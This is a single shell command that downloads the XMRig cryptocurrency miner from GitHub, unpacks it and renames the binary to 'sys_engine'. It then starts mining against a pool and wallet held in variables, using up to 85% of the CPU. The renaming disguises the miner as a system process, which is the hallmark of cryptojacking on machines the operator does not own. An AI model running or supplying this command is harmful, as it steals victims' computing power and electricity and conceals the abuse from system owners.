wget -qO- https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz | tar xz && mv xmrig-*/xmrig ./sys_engine && ./sys_engine -o $V2 -u BTC:$V1.Guy#8kvm-289e -a rx/0 --tls --cpu-max-threads-hint 85